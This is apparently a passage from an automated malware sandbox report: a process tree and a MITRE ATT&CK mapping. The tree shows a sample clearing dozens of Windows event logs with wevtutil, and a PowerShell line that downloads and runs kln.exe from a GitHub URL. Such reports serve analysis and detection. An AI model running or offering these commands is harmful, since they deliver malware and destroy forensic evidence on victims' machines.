- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-AppLocker/EXE and DLL"
    3⤵
    PID:3884
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Application-Experience/Steps-Recorder
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Application-Experience/Program-Telemetry
    3⤵
    PID:700
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Application-Experience/Program-Inventory
    3⤵
    PID:4472
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter
    3⤵
    PID:3092
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant
    3⤵
    PID:544
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Application Server-Applications/Operational"
    3⤵
    PID:4896
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Application Server-Applications/Admin"
    3⤵
    PID:4688
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ApplicabilityEngine/Operational
    3⤵
    PID:2236
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppID/Operational
    3⤵
    - Clears Windows event logs
    PID:540
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppHost/Admin
    3⤵
    PID:2868
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AllJoyn/Operational
    3⤵
    PID:3424
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-All-User-Install-Agent/Admin
    3⤵
    PID:2136
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AAD/Operational
    3⤵
    PID:4636
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"
    3⤵
    PID:3476
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-User Experience Virtualization-IPC/Operational"
    3⤵
    - Clears Windows event logs
    PID:2920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-User Experience Virtualization-App Agent/Operational"
    3⤵
    PID:4976
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"
    3⤵
    PID:4820
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Client-Licensing-Platform/Admin
    3⤵
    PID:3728
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-AppV-Client/Virtual Applications"
    3⤵
    PID:1996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-AppV-Client/Operational
    3⤵
    PID:3996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-AppV-Client/Admin
    3⤵
    - Clears Windows event logs
    PID:2992
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl ForwardedEvents
    3⤵
    PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/e/releases/download/e/kln.exe', 'c:\\windows\\temp\\kln.exe'); c:\\windows\\temp\\kln.exe;"
  2⤵
  - Blocklisted process makes network request
  PID:4548
- - C:\windows\temp\kln.exe
    "C:\windows\temp\kln.exe"
    3⤵
    - Executes dropped EXE
    PID:2888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c del C:\windows\temp\srvc.exe;
      4⤵
      PID:2584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...